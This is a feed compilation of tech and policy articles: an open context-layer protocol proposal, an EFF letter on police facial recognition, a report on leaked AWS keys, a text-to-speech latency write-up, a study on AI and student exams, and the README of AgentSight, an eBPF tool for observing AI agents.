The Web Needs a Context Layer Built on a Shared Protocol

Internet Exchange
internet.exchangepoint.tech
2026-08-20 12:46:51
Making context a shared protocol, rather than a platform feature, would let readers see competing perspectives anywhere on the web, argue Mallory Knodel, Evan Friedman, and Brad Friedman....
Original Article
author: Mallory Knodel

Making context a shared protocol, rather than a platform feature, would let readers see competing perspectives anywhere on the web, argue Mallory Knodel, Evan Friedman, and Brad Friedman.

The Web Needs a Context Layer Built on a Shared Protocol
Photo by Robert Anasch / Unsplash

By Mallory Knodel , Brad Friedman and Evan Friedman . Originally published in Tech Policy Press .

Two people can read the same headline and come away with opposite stories. One may see a public health measure, the other government overreach. Researchers have long known that communities don't just disagree on issues; they frame them in entirely different terms. The problem is not disagreement itself. A diverse society will always contain reasonable, competing interpretations of the same event. The issue is that the web typically gives users a single spotlight on a topic without making the surrounding perspectives easy to find. A claim can be accurate but still partial. What is missing is a way to see those competing frames side by side, mapping how the same conversation takes shape across the internet. This would give readers a broader view.

When a misleading post on X or Facebook appears with a note beneath it written by other platform users, that note is context: information, sources, and competing perspectives added alongside the content so readers can judge it more fully. Right now, that context layer is proprietary, created and owned by the platforms on which it appears. But context doesn't have to be built this way. Treating it as a protocol, a shared open standard any platform can adopt rather than a feature owned by one company, is an opportunity to build prosocial features into the infrastructure of the web.

In their paper " From local hacks to global standards: The hidden politics of internet protocols ," Matthew Zook and Ate Poorthuis use three examples to illustrate that historically, infrastructure has started with a smaller use case and then scaled. The danger is that early informal decisions become global rules without enough consideration for human rights and other impacts.

One example they give is the country code top-level domain system, the familiar national suffixes like .FR for France or .UK for Britain, which were built according to ISO 3166, an existing list of two-letter country codes maintained by the International Organization for Standardization. But, from the 1980s until today, the ISO list itself has not been a neutral inventory of the world's nations. It is a list that elides the fraught question of what counts as a country. As a result, particular political histories and institutional relationships were adopted into the domain name system along with those embedded judgments. Territories with contested sovereignty, colonial dependencies, or without recognized statehood were included or excluded, baking political decisions about place into the architecture of the internet.

Context is a new, developing layer of the internet. The most promising tools for adding context to online content are community notes, used by both X and Meta, and which show real promise in reducing online harms like misinformation and disinformation. But these context layers are proprietary, owned and managed by these two platforms and, like the ISO list, they come with biases—in this case, those of these platforms’ unique user bases and their commercial interests. If we want context to scale and be scrutable, we need to facilitate context with protocols: that is the ‘how’ of building a context layer. An open, opt-in standard that any publisher, browser, or platform can adopt, rather than a feature each company builds and owns, can democratize context and appropriately place it within the realm of the political: that is the what.

Building such a protocol deliberately, in the open, lets us embed choice, user agency, and prosocial values into the context layer of the internet, a Broader View button ( demo here ) built into the web itself, rather than allowing closure to settle around whatever already exists before anyone has deliberately chosen, as happened with the domain name system.

Removals, labels and annotation

Most efforts to improve what people encounter online currently fall into three general categories: removal (take it down), labeling (flag it), and crowdsourced annotation (let users add context). The first two require a platform or trusted third party fact-checkers to decide what is true, which much of the public no longer trusts it to do .

Crowdsourced annotation like community notes was developed in part to address the issues of the first two categories, and the evidence suggests that it succeeds, at least in limiting the spread of misinformation and disinformation. The system's own designers found that algorithm-selected notes made users about 26 percent less likely to agree with a misleading claim , and that exposure to notes reduced likes and retweets by 25 to 34 percent in live deployment. A causal study , covering roughly 285,000 Community Notes on X (formerly Twitter), found that attaching a note cut subsequent retweets by about half and raised the chance the author deleted the post by around 80 percent. Issues appear, however, when trying to scale these efforts. The average note takes more than fifteen hours to appear, by which point roughly 80 percent of a post's reach has already happened, so the net effect on overall virality falls to between 16 and 21 percent.

Plus, many posts that perhaps should have notes never do. A note requires volunteers to notice the post, write a note, and reach cross-partisan agreement before it is published. This is a high barrier that only about 11 percent of proposed notes ever meet. Fewer than 10 percent of published notes reach "helpful" status , and 26 percent of those that do are later removed due to disagreement.

In addition, a great deal of online content is not false. It is accurate as far as it goes, but may show only one side of a contested issue. No current moderation system systematically surfaces the competing frames around a post that is true-but-partial, and a small, hyperactive minority of users produce most of what everyone sees , and that content skews more politically extreme than what the typical user posts, so the less partisan majority is rendered nearly invisible. On genuinely contested questions, the “true or false” binary is even less useful: the truth often isn’t settled for years, long after the moderation decision has been made and the post has done its work.

Rather than seeing this as an indictment of content moderation or Community Notes, which is the clearest proof we have that a context layer can work, we see it as evidence that the bottleneck is architectural: a layer run by volunteers inside one platform's user base will always face an upper ceiling that we believe only a shared standard can alleviate.

Why now? AI, obviously

A context layer that depends on volunteers noticing a post, writing a note, and reaching cross-partisan agreement will always be slower and more limited than the content it is intended to contextualize. What has changed is that large language models can now do part of this work by reducing the demand on the volunteer labor that made it scarce, and drawing from a wider range of relevant material.

A recent system, Supernotes , uses a language model to synthesize these fragments into a single candidate note, then scores that candidate by modeling how a politically diverse set of raters would respond to it. In testing, participants preferred the AI-synthesized notes to the best existing human-written ones roughly three times out of four. In this study, the model didn't decide what was true; it drafted and assembled content from existing human notes. Whether the result was helpful still came down to human cross-partisan agreement, and the AI was what let that agreement extend to far more content than volunteers could reach alone. This points to something a shared context layer could do beyond simply showing different perspectives side by side: surface where communities that usually disagree actually share ground, an approach sometimes called bridging. The algorithm behind Community Notes was also built on this principle , scoring a note highly only when people with otherwise opposed rating histories agree it is helpful, rather than relying on a simple majority. Supernotes extends that same bridging logic with AI.

There is a reason AI may be well-suited to this particular job. People often distrust context when it comes from a perceived opponent, and some research suggests they treat AI-generated summaries as comparatively impartial . We should be cautious, because AI carries its own biases that have to be managed openly. But for the narrow task of laying out how different communities frame an issue, that cites sources, AI may have an easier time being heard.

How? The protocol opportunity

A protocol-level approach asks: what if context were shared infrastructure, like a web standard, rather than a feature limited to one provider? A standard that lets any platform, publisher, or browser participate without each needing to build a feature from scratch, and lets context travel across services? And what if users had agency to choose their context provider?

Our model is the closed-captioning (CC) mark. It is instantly recognizable, works across virtually all video regardless of who made it, is owned by no single company, and turns on only when the viewer wants it. Part of the mark’s power is the mark itself: a single recognizable symbol compresses the whole idea into two letters anyone can spot on any screen. A universal mark is what makes an opt-in layer usable by ordinary people, not just legible to technologists.

We propose the same for context: a universal, opt-in icon which we call the “Broader View button,” that a reader clicks only if they want the fuller picture. On a contested political post, that might mean seeing how different communities understand the same event, what they agree on, where they disagree, and the perspectives and sources each community draws on, so a reader can understand the landscape and draw their own conclusions. On a video of a duck leading her ducklings across a highway, the button might open up a wider understanding about migration, habitat loss and how some cities are redesigning roads around wildlife. Context isn't only a corrective for our worst content; it's an invitation to be more curious about all of it.

No content is removed, no fact-checks are pushed into the feed. Because it adds speech rather than restricting it, the approach can hold support across a political spectrum that agrees on little else about online speech.

We propose that the standard should be provider-agnostic. Like choosing a default search engine, different providers could supply the context behind the same button, separating the standard (how context is displayed) from the curation (who, or which AI model, assembles it). Letting readers pick their own provider is a form of user agency, and experienced users judge content more favorably when they have actively chosen it rather than had it chosen for them.

We also propose that trust and safety belongs in the protocol itself, for instance, requiring that quoted text in a context window trace to a verifiable source and that off-topic pile-ons be filtered, so every implementation meets a minimum threshold.

A layer worth building

A key principle behind years of content moderation has been to remove false content and correct the record. But much of what hardens divides online is not false . Instead it is partial or one-sided, and no content moderation verdict can address this problem. What's missing is not a better judge or a jury. It's a layer that lets users who want it see a bigger, fuller picture.

Across established democracies, the spread of social media has tracked with falling trust and rising polarization, yet the research has gone overwhelmingly toward documenting that harm rather than testing ways out of it. One 2021 review of more than ninety studies notes how little work has explored how media might actually depolarize. In other words, we have mapped the problem in great detail, but we have barely begun to identify or fund the solutions.

Community Notes is the clearest proof we have that a context layer can work, and of its limits. They are not a reason to abandon the idea, but a reason to build it properly as shared infrastructure, rather than a feature owned by one company. A Broader View button will not be perfect, but a perfect solution does not exist, and there are costs for waiting.

Where should this work live?

Despite years of thinking from scholars like Francis Fukuyama and Renée DiResta , what are called “middleware” solutions to content moderation haven’t made it into the protocols standardization pipeline. We are still left with platforms, not protocols, implementing solutions, which Mike Masnick pointed out are not ideal.

Taking on a context layer has implications for any technical standards body's mandate already dealing with content, and those bodies are few. The W3C is the most natural home, since it already looks after the web and social standards, however its prior work on annotation would only be a partial help. ISO could also take it on as global trust frameworks like C2PA are increasingly within mandate and expertise. Whoever shepherds the work takes on more than writing the standard itself. They foster a community of trust and safety rules stewards and will likely bring together a huge cross section of web services and platform implementers.

Support the Internet Exchange

If you find our emails useful, consider becoming a paid subscriber! You'll get access to our members-only Signal community where we share ideas, discuss upcoming topics, and exchange links. Paid subscribers can also leave comments on posts and enjoy a warm, fuzzy feeling.

Not ready for a long-term commitment? You can always leave us a tip .

Become A Paid Subscriber


Mid year sale!

If you've been thinking about becoming an IX subscriber and getting access to all of our hot🔥 links, our members-only Signal community, the ability to leave comments and replies on posts, and the warm fuzzy feeling of knowing you're supporting our mission, now is the time. Annual subscriptions are usually $50 but are just $30 until the end of August.


🚨

Stop press! Do you enjoy our links? Links are now available to paid subscribers only. Become a paid subscriber today.

EFF and Civil Society Groups Call on Nottinghamshire Police to Halt Live Face Recognition

Electronic Frontier Foundation
www.eff.org
2026-08-21 12:03:17
This week, EFF, along with Big Brother Watch, Defend Digital Me, Liberty, Open Rights Group, Race Equality First, Statewatch, and Stopwatch, wrote to Nottinghamshire Police Force in the UK raising concern about the proposed roll-out of live facial recognition technology (LFR), and called for its imm...
Original Article

This week, EFF, along with Big Brother Watch, Defend Digital Me, Liberty, Open Rights Group, Race Equality First, Statewatch, and Stopwatch, wrote to Nottinghamshire Police Force in the UK raising concern about the proposed roll-out of live facial recognition technology (LFR), and called for its immediate halt.

In particular, the letter highlights six concerns:

LFR Is Not "Just Another Tool"

Nottinghamshire Police has stated that “facial recognition is just another tool to fight crime.” But LFR used in public spaces is an incredibly intrusive biometric mass surveillance technology that scans the faces of everyone who walks past the camera and takes biometric face prints. This is not just another tool, but a major escalation of surveillance that treats everyone as a suspect by default.

People Having "Nothing to Worry About" Does Not Hold to Scrutiny

According to Nottinghamshire Police, “if you aren’t entering the city or county to commit crime then you have nothing to worry about.” However, many people have legitimate concerns about the normalisation of invasive technologies. So a public that cannot move around their towns and cities without being subjected to a biometric identity check may be less willing to seek medical care or legal advice, speak with journalists, act in a union, vote, protest, or express their gender, sexual or religious identity.

Disproportionate Targeting With LFR

We are particularly concerned to learn that Nottinghamshire Police could deploy LFR to tackle low level crimes, such as youth behavior deemed anti-social, as part of Operation View. Reporting suggests that the force already possesses “a watchlist of young people believed to be causing the most problems,” including children as young as 11 years old. It would be highly disproportionate to deploy live facial recognition to tackle this behaviour. Many of these children are reportedly known to the police, and it is highly likely that there are more proportionate means for locating them.

LFR Could Increase Social Problems

We are also concerned that Nottinghamshire Police has not adequately examined the distinct risks of using LFR to target children, including negative impacts on their behaviour and outcomes, risk of recidivism, and relationship with the police. Use of LFR could exacerbate behavioural problems in children and create an adversarial, rather than trusting, relationship with the police from a young age.

Lack of Public Support

Recent polling commissioned by Liberty indicated that 48% of people oppose scanning the faces of those walking on high streets when there is no suspected imminent threat. Furthermore, Opinium found that the majority of people oppose the use of facial recognition in schools. Likewise, a report by the London Policing Ethics Panel found that Londoners aged 16-24 were most likely to find the Metropolitan Police Service’s use of LFR unacceptable and most likely to stay away from events where LFR was in use.

On these grounds, Nottinghamshire Police must immediately halt their plans to use live facial recognition surveillance any further.

Read our full letter here .

Hundreds of leaked AWS keys give full control over corporate accounts

Bleeping Computer
www.bleepingcomputer.com
2026-08-21 11:55:15
More than 9,300 Amazon Web Services (AWS) access keys publicly exposed between August 2022 and August 2026 are still active and valid. [...]...
Original Article

Hundreds of leaked AWS keys give full control over corporate accounts

More than 9,300 Amazon Web Services (AWS) access keys publicly exposed between August 2022 and August 2026 are still active and valid.

Truffle Security has been tracking this exposure for the past four years and says that 817 of the exposed keys were linked to companies, 526 of them being AWS root keys.

According to the researchers, 242 of the keys are associated with Identity and Access Management (IAM) users with the AdministratorAccess policy. This role has full permissions to create, modify, delete, and view virtually all AWS services and resources within an account.

image

They note that each key of the 768 live keys in the two sets “full control of a company's AWS account.”

The company found 431,875 AWS secrets across code repositories, Git history, datasets, Docker images, registries, and CI logs and extracted 64,024 unique AWS keys that corresponded to 50,654 AWS accounts after removing duplicates.

Exposed AWS keys
Unique verified exposed AWS keys
Source: Truffle Security

However, the subset for which the researchers had complete credentials that could be used for re-verification was 10,616 keys, and 88% of them continued to authenticate as of August 10.

Amazon Web Services (AWS) is Amazon’s cloud-computing platform used by companies to host websites and applications, store data, run databases and servers, manage domains, and operate their online infrastructure.

Full control of a company’s AWS account could allow an attacker to access, exfiltrate, or wipe cloud-hosted data, take control of servers and applications, and create rogue admin accounts for persistent access

Threat actors could also use their access to deploy cryptominers, generating substantial charges for the company. Truffle Security says that only 262 of 2,754 readable accounts had a budget alert set up.

Hugging Face, a popular online platform where developers share AI models, datasets, and applications, was the largest single source of leaked AWS keys, accounting for 8,482 unique key exposures.

Also, 17.9% of those keys were root, meaning the highest-privileged identity, which isn’t restricted by IAM permissions.

Roles of exposed keys
Roles of exposed AWS keys
Source: Truffle Security

Truffle Security found that, for the 2,903 keys with available creation dates, the median age was 1,831 days (about five years), while the oldest had existed for 17.4 years.

Only 398 (13.7%) of those entries had a newer access key associated with the same user, suggesting most had never been rotated.

Age of exposed keys
Age of exposed AWS keys
Source: Truffle Security

To defend against potential abuse, the researchers recommend deleting all root access keys, reviewing IAM credentials by age, rotating or revoking exposed keys, and configuring budget alerts.

Also, any credential committed to a public source should be treated as compromised.

Truffle Security said its testing was limited to read-only metadata, and that it has notified all identifiable owners of the exposed credentials.

article image

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

How We Made a Text-to-Speech Model Respond in Sub-50 ms

Hacker News
nari-labs.com
2026-08-21 11:51:10
Comments...
Original Article

TL;DR

Our Qwen3-TTS 1.7B CustomVoice implementation achieves 10 requests per second (RPS) and sub-50 ms p95 time-to-first-audio (TTFA) while maintaining real-time playback on a single NVIDIA H100 SXM.

Benchmark chart comparing p95 audible TTFA across serving engines as RPS increases

We compare five implementations: ours, vLLM-Omni, SGLang-Omni , VoxServe, and M*, under Poisson open-loop traffic. After tuning each implementation for low-latency streaming, ours is the only one to achieve sub-50 ms p95 TTFA . We maintain sub-50 ms p95 TTFA through 10 RPS and keep it below 100 ms even at 20 RPS .

Our system produces approximately 630 characters per second at 10 RPS. At $4.29 per hour for a 1× H100 SXM instance, this translates to ~$2 per 1M characters at full utilization 1 . For comparison , ElevenLabs V3 is $100 / 1M and Cartesia Sonic 3.5 is $49 / 1M at a higher TTFA .

We open source the implementation and benchmark . Our methodology is explained below.


Defining “Real-time” TTS

Let’s start by discussing what a real-time TTS server needs to achieve. We think it’s a four-part problem:

  1. Low Audible TTFA: Time from request dispatch to the first audible sample must be low.
  2. Zero underruns: Once playback starts, the client must not run out of buffered audio.
  3. Capacity: 1 and 2 must hold as RPS increases.
  4. Non-malformed output: Speech must be intelligible.

We choose Qwen3-TTS CustomVoice 1.7B because it is one of the most popular TTS models with a permissive license.

Based on the above definition, we target low p95 audible TTFA with zero underruns while maintaining high RPS on a single NVIDIA H100 SXM.

All benchmarks run for five minutes under Poisson open-loop traffic to approximate real workloads, following Fireworks AI’s LLM benchmark . Each engine receives the complete text in a single HTTP request, while audio output remains streamed. We detect audible TTFA, reconstruct playback from received PCM, and evaluate the completed audio using Deepgram STT.

How Do Other Engines Perform?

The table below shows the upstream/default result at 1 RPS for each engine. We only apply changes for compatibility in this run.

These defaults have substantial room for improvement. We tune each serving engine for its own latency, continuity, quality, and capacity requirements.

1. Remove leading silence

The first PCM returned by a model can contain tens of milliseconds of silence before the first sustained sound. This gap pushes audible TTFA back like so:

Diagram of TTS latency terms: time to first byte, leading silence, and audible TTFA

We add a dynamic trim. It detects sustained speech from short RMS windows, removes samples before onset, and streams the remaining audio normally. This change improves TTFA by ~80ms but does not make model inference itself faster.

2. Tune frame accumulation

We also tune how many codec frames are collected before decoding and releasing an audio chunk.

Smaller initial chunks reduce TTFA, but provide less playback headroom and create more frequent decoder work. Larger chunks are easier to batch and make continuous playback safer, but delay the first audible output. A useful configuration therefore starts with a small chunk and increases the chunk size for later output.

The exact knobs differ by engine: vLLM-Omni exposes settings such as codec_chunk_frames and codec_chunk_ramp ; the other engines provide equivalent chunk or stride controls. We iterate over these values to find the config that best matches: low p95 TTFA, zero underruns and stable behavior as load increases.

Performance after tuning existing serving engines

The following table shows the selected no-underrun profile for each engine after leading-silence and frame-accumulation tuning.

VoxServe reaches sub-50 ms p95 TTFA at 1 RPS, while the other three engines do not. By around 6 RPS, every engine is at roughly 100 ms p95 TTFA or higher 2 .


How We Optimized Qwen3-TTS

We first need to understand Qwen3-TTS architecture. It is a 3-part model performing hierarchical multi-codebook generation. The Talker predicts the first codebook token for each audio frame, the Code Predictor generates the remaining 15 codebook tokens, and the causal Codec converts codebook tokens into waveform samples.

Each module has its own compute profile, batching behavior, and latency requirements. Rather than optimizing each module in isolation, we focus on a broader question: how should a serving system coordinate these heterogeneous tasks?

1. Bringing three modules under one scheduler

Most Qwen3-TTS serving implementations are split into two stages: the Talker and Code Predictor run together, while the Codec runs separately. This separation enables token generation and waveform decoding to overlap across requests.

We take this a step further. We expose the Talker, Code Predictor, and Codec as three independently schedulable tasks. The key is not merely splitting them into parts, but bringing all three onto a shared scheduling surface managed by one scheduler. This design draws inspiration from M* ( arXiv ).

With this setup, the scheduler can decide whether to run the Talker, advance the Code Predictor, or prioritize a Codec job that is approaching its playback deadline. It can also batch requests waiting for the same module. Instead of following a fixed execution order, we can rearrange work according to urgency.

Combining the Talker and Code Predictor may appear more efficient because it removes an intermediate boundary. However, the combined operation can become a non-preemptible unit of work that blocks more urgent Code Predictor or Codec jobs. Keeping the modules separate creates shorter units of work and gives the scheduler more opportunities to interleave requests.

2. Scheduling around the needs of speech streaming

Speech streaming has two distinct notions of urgency.

Before the first chunk of audio arrives, every millisecond increases TTFA, so we need to prioritize this path. But once playback begins, the goal changes: the next chunk only needs to arrive before the current audio finishes playing. Producing it earlier provides no user-visible benefit.

Thus, we give high priority to requests that have not produced their first audio, while established streams become urgent only as they approach a playback deadline.

Running every urgent request alone would destroy batching efficiency. Instead, our scheduler selects an urgent request as an anchor and fills the rest of the batch with compatible work. This helps the critical request meet its deadline while making effective use of the GPU.

This policy works especially well because all three modules share a scheduling surface, allowing the scheduler to choose both the request and the pipeline stage to advance.

3. Exploiting the regular structure of the Code Predictor

The Code Predictor is an autoregressive transformer, but its execution is unusually regular. It always performs a fixed number of steps (15) per frame to fill the remaining audio codebooks.

We exploit its fixed structure to preallocate its KV cache and capture the entire frame-generation loop as a single CUDA graph. We also use a Triton attention kernel specialized for its short, bounded context.

By replacing a host-driven sequence with a fixed GPU program, we lower latency and simplify the execution system.

4. Rebuilding the Codec around cached state

The Qwen3-TTS Codec is made up of Transformers and CNNs. Generating the next audio chunk depends on both the Transformer context and convolutional state from previous chunks.

A naive implementation reprocesses the full frame history on every update, repeatedly decoding old audio as the utterance grows.

To avoid this, we use a state-cache-based Codec. Each request retains the Transformer context and convolutional state needed by the next chunk. Incremental decoding then reuses this cached state and processes only newly arrived frames instead of replaying the full history.

Initializing the state cache from the first frame adds overhead and hurts TTFA. We therefore use full decoding for the first audio, then switch to state-cached incremental decoding for efficient sustained playback.

We similarly vary chunk sizes over the course of a request. Smaller chunks let playback begin quickly, while larger chunks improve batching and GPU efficiency during sustained playback.

5. Additional serving optimizations

We capture CUDA graphs for a predefined set of batch sizes. If a ready cohort exceeds the largest captured batch size, we split it across scheduling turns rather than falling back to eager mode.

We also avoid unnecessary CPU–GPU synchronization. For example, while EOS is suppressed, generation cannot terminate, so we defer the termination check until EOS is enabled. This lets the CPU prepare and submit subsequent work without waiting for the GPU.

Finally, we support input streaming for modular speech-to-speech systems. As an upstream LLM generates tokens, the TTS model can begin synthesizing speech before receiving the complete response, reducing end-to-end latency.

What’s Next?

Qwen3-TTS is just the beginning of our work on multimodal inference. We plan to extend our scope to image, video, and world models, as well as fine-tuning. Our ultimate vision is to simulate the world 1:1 through realtime multimodal inference.

We are a team of experts in multimodal AI research and infrastructure. Our open TTS model, Dia, has been downloaded over two million times and has ranked #1 on Hugging Face. Our team of ex-YC, ex-KRAFTON, and ex-NAVER engineers has published research at NeurIPS and ICLR and earned three IOI and ICPC World Finals gold medals. Nari Labs is backed by Y Combinator.

If you want to work with us on anything multimodal, let’s chat .

Why Mayor Mamdani Can't Quit NYPD Commissioner Tisch

hellgate
hellgatenyc.com
2026-08-21 11:40:57
The Eric Adams holdover is antithetical to much of the left. She's also essential to the mayor....
Original Article
NYPD Commissioner Jessica Tisch and Mayor Zohran Mamdani brief the public ahead of the annual Israel Day Parade on May 28. (Ed Reed/Mayoral Photography Office)
NYPD Commissioner Jessica Tisch and Mayor Zohran Mamdani brief the public ahead of the annual Israel Day Parade on May 28. (Ed Reed/Mayoral Photography Office)

Scott's Picks:

Give us your email to read the full story

Sign up now for our free newsletters.

Sign up

Great! You’ve successfully signed up.

Welcome back! You've successfully signed in.

You've successfully subscribed to Hell Gate.

Your link has expired.

Success! Check your email for magic link to sign-in.

Success! Your billing info has been updated.

Your billing was not updated.

AI Boosted Homework Scores by 18% – Then Exam Scores Dropped 20%, Study Shows

Hacker News
canews24.online
2026-08-21 11:25:42
Comments...
Original Article

4,940

A new study tracking 27,000 students in China has found that pupils who used artificial intelligence tools saw higher homework scores over time, but performed worse than their peers on exams taken without AI assistance, according to research covered by The Economist on August 18.

The Study

The research was conducted by David Stromberg of Stockholm University along with Victor Lei and Wu Yanhui of the University of Hong Kong. The study followed 27,000 pupils aged 12 to 18 in China, where adoption of AI tools among students has grown quickly. Around 80% of the students surveyed reported using AI models such as Doubao and DeepSeek, while the remaining 20%, who did not use such tools, formed a control group.

According to figures shared by The Economist, students who used AI saw their average homework scores rise by 18% across all subjects over a six-month period. However, when the same students were tested under exam conditions without access to AI tools, they scored 20% below classmates who had not used AI during the study period.

Context on AI Adoption Among Students

The study cited broader data on how widespread AI use has become among students. A survey conducted last year by ed-tech firm Chegg found that 80% of undergraduate students in wealthy countries reported using AI in their studies. More recent polling put the figure at 94% among students in Britain and 93% in Germany.

The Economist noted that teachers have reported grading formulaic, similar-sounding essays they suspect were generated by AI chatbots such as ChatGPT, but said that, prior to this study, robust evidence on AI’s actual effects on learning outcomes had been limited.

Related Research

A separate study conducted in 2024 at the University of Pennsylvania examined a similar dynamic on a smaller scale. Students attending a math lesson practiced problems using either traditional study methods, such as notes and textbooks, or AI tools including ChatGPT and an AI tutoring program. According to a summary of the research, students using AI performed better during short-term practice sessions, but the advantage did not carry over to a subsequent closed-book test.

Reactions

The Economist’s summary of the findings, shared on the social platform X, drew significant engagement, with some commenters attributing the exam score gap to students copying AI-generated answers without engaging deeply with the material. The study was also discussed on forums including Hacker News, where some users questioned aspects of the study’s design while others noted it aligned with existing concerns among educators.

A tip sheet published by the Brookings Institution earlier this year said AI can support learning when used intentionally and designed well, but cautioned that overreliance on the technology to replace thinking, social interaction, or creativity could prevent students from developing cognitive and social skills.

The Stockholm University and University of Hong Kong researchers’ full study had not been independently verified by other institutions at the time of publication.

Cancer-Related Mortality Among US Pilots and Flight Attendants

Hacker News
jamanetwork.com
2026-08-21 11:23:32
Comments...

Show HN: AgentSight – eBPF observability for AI agents, no code changes

Hacker News
github.com
2026-08-21 11:21:10
Comments...
Original Article

AgentSight is a zero-instrumentation AI Agent observability tool based on eBPF. It captures LLM API calls, Token consumption, and process behavior at the kernel level without modifying Agent code.

Overview

AgentSight provides full-stack observability for AI Agents running on Linux:

Capability Description
Token consumption analysis Multi-dimensional Token accounting by agent, task, and model
Behavior audit Complete tracing of LLM calls and process execution
Dashboard visualization Web UI for real-time Token trends, Agent health, and session traces
Agent auto-discovery Automatic detection of running AI Agent processes
Interruption detection Detection of LLM errors, SSE truncation, context overflow, and crashes
External log export Supports exporting structured events to external log services

Prerequisites

Requirement Minimum
OS Linux
Kernel >= 5.8 (BTF support required)
Privileges root or CAP_BPF (for eBPF probes)
ANOLISA raw package Linux x86_64, system mode

macOS : On macOS, AgentSight provides two commands — trace (trajectory collector that scans local JSONL session files, no eBPF) and serve (Dashboard viewer). All other eBPF-dependent commands are Linux-only.

Installation

Install the published component with the ANOLISA CLI:

# Recommended (system mode required — eBPF needs root)
sudo anolisa install agentsight

# Alternative (Alinux, requires YUM repo configuration)
sudo yum install agentsight

# Source build (developers only)
cd src/agentsight && make build-all

Use make build-all for source builds: it builds the Dashboard frontend, the main binary, and agentsight-enforcer in sequence. Running only make build skips the enforcer, and serve will keep logging AgentSight enforcement unavailable .

Quick Start

Use the systemd unit for a normal deployment. It runs eBPF tracing and the Dashboard together and starts the enforcer dependency in the required order:

sudo systemctl enable --now agentsight.service
sudo systemctl status agentsight.service

Open http://localhost:7396 after the service becomes active. Enabling the main unit also keeps AgentSight available after a reboot.

The bundled systemd launcher binds the Dashboard to 0.0.0.0 . Restrict port 7396 with a firewall or security group before exposing the host to an untrusted network.

The service runs as root with a private umask and stores data under /var/log/sysak/.agentsight . Use sudo for CLI queries and Dashboard access commands that read this service-owned data.

For foreground troubleshooting, stop the systemd unit first so it does not compete with a second tracer. Then use two terminals and run both commands as root. The second command is not reached if both are entered sequentially because agentsight trace stays in the foreground:

sudo systemctl stop agentsight.service

# Terminal 1
sudo agentsight trace

# Terminal 2: Start Dashboard
sudo agentsight serve
# Open http://localhost:7396 in browser

# Print the Dashboard URL and token; open the URL as your desktop user
sudo agentsight dashboard --no-open

Localhost access is authentication-free; remote access requires a token, see Dashboard Access & Authentication .

Usage

agentsight trace — Start eBPF Tracing

Starts kernel-level capture of AI Agent activity.

Requires root privileges. Captures SSL/TLS traffic, process events, and file operations. Run sudo systemctl stop agentsight.service before starting a foreground tracer.

agentsight serve — Start API & Dashboard

# Default: bind to 127.0.0.1:7396
sudo agentsight serve

# Bind to all interfaces (remote access)
sudo agentsight serve --host 0.0.0.0 --port 7396

Run serve as the same user that runs trace so both commands resolve the same data directory. Binding to 0.0.0.0 exposes the Dashboard on every interface; restrict network access before using that form.

Dashboard Access & Authentication

Dashboard token authentication is enabled by default:

  • Localhost access (loopback) bypasses authentication — just open http://127.0.0.1:7396 .
  • Remote access requires a token: append ?token=<TOKEN> to the browser URL, or set the Authorization: Bearer <TOKEN> HTTP header.
  • The token is auto-generated on the first serve startup (64 hex characters) and persisted to the .dashboard_token file next to the database (default /var/log/sysak/.agentsight/.dashboard_token ); it is reused across restarts.
  • Run sudo agentsight dashboard --no-open to print the service-owned access URL and token, then open the URL as your desktop user.

To disable authentication (only recommended on trusted internal networks), set in the config file:

{
  "server": { "auth": { "enabled": false } }
}

After editing /etc/agentsight/config.json , run sudo systemctl reload agentsight.service to apply the change — no restart needed.

API Endpoint List

GET /api/docs returns the full API route inventory (method, path, description) so scripts and integrations can discover endpoints; requests to unknown /api/ paths also point to it in the 404 response.

curl http://127.0.0.1:7396/api/docs

agentsight dashboard — Show Dashboard Access Info

Displays the Dashboard URL and auth token, then tries to open a browser. On ECS instances it also prints a security-group configuration guide.

# Show URL and token without opening a root-owned browser
sudo agentsight dashboard --no-open

agentsight summary — Unified Overview

Rolls up sessions and Token usage, interruption events grouped by severity, and Tokenless savings for a recent time window — one command for the overall health picture.

# Last 24 hours (default)
agentsight summary

# Last 7 days, JSON output
agentsight summary --last 168 --json

Data sources degrade independently: a missing database contributes zeros without affecting the rest of the report.

agentsight token — Query Token Usage

# Today's usage
sudo agentsight token

# Weekly comparison
sudo agentsight token --period week --compare

# JSON output
sudo agentsight token --json

agentsight audit — Query Audit Events

# Recent events
agentsight audit

# Filter by PID and type
agentsight audit --pid 12345 --type llm

# Summary statistics
agentsight audit --summary

agentsight discover — Scan for Agents

# Discover running AI Agents
agentsight discover

# List known Agent types
agentsight discover --list-known

agentsight interruption — Session Interruption Events

Query and manage AI Agent session interruption events.

Interruption types:

Type Description Default Severity
llm_error HTTP status >= 400 or SSE body contains error high
sse_truncated SSE stream ended without finish_reason=stop high
context_overflow Context length exceeded high
agent_crash Agent process disappeared mid-session critical
token_limit finish_reason=length with output near max medium
# List interruption events (default: last 24h)
agentsight interruption list [--last <HOURS>] [--type <TYPE>] [--severity <LEVEL>]

# Statistics by type
agentsight interruption stats

# Count by severity
agentsight interruption count

# Get a single event by ID
agentsight interruption get <ID>

# List all interruption events of a session / conversation
agentsight interruption session <SESSION_ID>
agentsight interruption conversation <CONVERSATION_ID>

# Mark as resolved
agentsight interruption resolve <ID>

Configuration

Configuration file: /etc/agentsight/config.json (override with --config ).

Important : User config files replace (not extend) the built-in default rules. Ensure your config includes all Agent rules you need.

Feature Flags

Feature JSON Path Default Description
Token stats features.token_stats true Core Token accounting
SQLite storage features.sqlite_storage.enabled true Local persistence
Interruption detection features.interruption_detection.enabled true Error/crash detection
Audit features.audit true LLM call audit
Session mapping features.session_mapping.enabled true responseId→sessionId

Runtime Limits

Config Default Description
event_channel_capacity 10,000 Probe event bounded channel capacity
pending_genai_max_count 1,000 Max events awaiting session_id
max_connection_body_mb 8 Single HTTP connection body buffer limit
ring_buffer_mb 32 eBPF Ring Buffer size (must be power of 2)

Agent Framework Integration

Conversational Skill (cosh)

AgentSight provides a built-in conversational skill for Copilot Shell. Users can query Token usage and audit logs via natural language:

  • "How much Token did I use today?"
  • "Show me today's LLM call records"

Token Savings (Tokenless Integration)

AgentSight integrates with the Tokenless component to display Token savings data in the Dashboard. No additional configuration needed — if both are installed, savings data appears automatically.

Data Management

Database Auto-cleanup

Default maximum database size: 200 MB. When reached, automatic cleanup triggers.

Customize via environment variable:

export AGENTSIGHT_GENAI_DB_MAX_SIZE_MB=500

Clear History

rm -rf /var/log/sysak/.agentsight
# Then restart AgentSight

FAQ

Q: Why can't I see Token data for OpenClaw?

